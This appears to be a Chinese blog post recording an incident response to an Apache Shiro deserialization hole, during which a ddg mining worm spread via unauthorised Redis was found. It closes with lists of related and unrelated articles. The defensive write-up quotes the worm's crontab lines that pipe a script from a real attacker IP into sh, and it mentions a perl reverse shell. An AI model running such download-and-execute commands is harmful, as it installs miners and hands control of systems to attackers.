背景


某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell。出于做安全的谨慎,马上出现场应急,确认漏洞。该漏洞存在在cookie字段中的rememberMe字段中,可以RCE

漏洞应急


来到现场后,发现已经升级了,漏洞确认修复完成,只能查看以前的攻击痕迹。

查看账号情况

首先查看账户文件/etc/passwd,修改时间和内容没有什么问题

stat /etc/passwd
cat /etc/passwd

查看文件情况

查看最近修改过的文件没看到特殊异常

ls -alst / -m -10 -name *

查看进程

查看进程

ps aux

看到异常 perl nc2.pl 后面参数跟着一个灯塔国地址,马上想到是反弹的shell,查问漏洞检测者,果真是,确认无害后kill进程。

查看网络连接

netstat -anop | grep tcp

发现服务器对外连接很多22端口,觉得异常,服务器主动对外发起连接22端口,很少见,询问业务也没有这类业务。看相关进程号,查看进程名ddg.2020。明显是一个矿马,经排查服务器上还启动redis和memcached。都是未授权访问。目测,是对外发起6379未授权漏洞的利用,写了root下的id_rsa.pub然后尝试22登录,看下自己的root下的.sshd,果真有id_rsa.pub不正常,因为都不适用root登录遂删除。查看进程目录。/tmp下面的,没有这个文件样板,全盘搜,只有ddg.2020.db没有ddg.2020,随机google,发现该样本会删除自己的文件,并启动定时任务去下载自己。

sudo -i
crontab -e

没有发现问题,还有一个地方

cat /var/spool/cron/crontabs/root

果然看到

curl -fsSL https://218.248.40.228:8443/i.sh | sh
wget -g -O -http://218.248.40.228:8443/i.sh | sh

马上配置阻断

查看进程运行时间对应的操作

history #只有四百多条,很明显不对
who /var/log/wtmp
last
last /var/run/utmp #

发现那天的登录日志被清理。

查看VPC内其他主机,都不存在该蠕虫,那么肯定就是通过getshell打进来,然后种了样本之后离开的。

总结


异常的发现在于明显区别于正常使用用途的网络连接。

应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)的更多相关文章

  1. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  2. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  3. 一次关于shiro反序列化漏洞的思考

    0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...

  4. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  5. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  6. Shiro反序列化漏洞复现

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,可以快速.轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企 ...

  7. Shiro 反序列化漏洞利用

    环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80 ...

  8. Apache Shiro 反序列化漏洞分析

    Shiro550 环境搭建 参考:https://www.cnblogs.com/twosmi1e/p/14279403.html 使用Docker vulhub中的环境 docker cp 将容器内 ...

  9. Apache Shiro反序列化漏洞(Shiro550)

    1.漏洞原理: Shiro 是 Java 的一个安全框架,执行身份验证.授权.密码.会话管理 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rem ...

随机推荐

  1. mysql 5.1超过默认8小时空闲时间解决办法(错误:com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure)

    报错: MySQL第二天早上第一次连接超时报错, com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications lin ...

  2. 如何在Sql Server中读取最近一段时间的记录,比如取最近3天的或最近3个月的记录。

    如何在Sql Server中读取最近一段时间的记录,比如取最近3天的或最近3个月的记录. 主要用到DATEADD函数,下面是详细语句 取最近3天 select * from 表名where rq> ...

  3. 在Lua中计算含中文的字符串的长度

    --[[ @desc: 计算字符串字符个数 author:{author} time:-- :: --@inputstr: 源字符串 return 字符个数 ]] function getString ...

  4. PHP缓存机制详解

    一,PHP缓存机制详解 我们可以使用PHP自带的缓存机制来完成页面静态化,但是仅靠PHP自身的缓存机制并不能完美的解决页面静态化,往往需要和其他静态化技术(通常是伪静态技术)结合使用. output ...

  5. SpringBoot------8080端口被占用抛出异常

    异常信息: The Tomcat connector configured to listen on port failed to start. The port may already be in ...

  6. Linux+Redis实战教程_day03_1、Redis-LinkedList【重点】

    1.redis-LinkedList[重点] Java List : 数组ArrayList 链表LinkedList 为什么redis选取了链表? Redis操作中,最多的操作是进行元素的增删 使用 ...

  7. atom中vue高亮支持emmet语法

    vue高亮插件: language-vue 支持emmet语法: 文件>用户键盘映射>keymap.cson添加: 'atom-text-editor[data-grammar~=&quo ...

  8. swift--浮点数转换成整数(四舍五入/直接截断)

    1,直接截取小数部分转换成整数 let i = Int(23.52536) print("输出是:\(i)") 2,四舍五入转换成证书 let q = lround(586.565 ...

  9. 为什么GPL是更好的开源许可证?

    1. 让我从一件新闻讲起. 2009年,计算机业界发生了一件大事:甲骨文公司以74亿美元收购SUN公司. 消息宣布后,有一个人坚决反对这笔交易.他叫Michael Widenius,是数据库软件MyS ...

  10. scala中Map和Tuple

    /** * Created by root * Description : Tuple and Map */ object MapTest { def main(args: Array[String] ...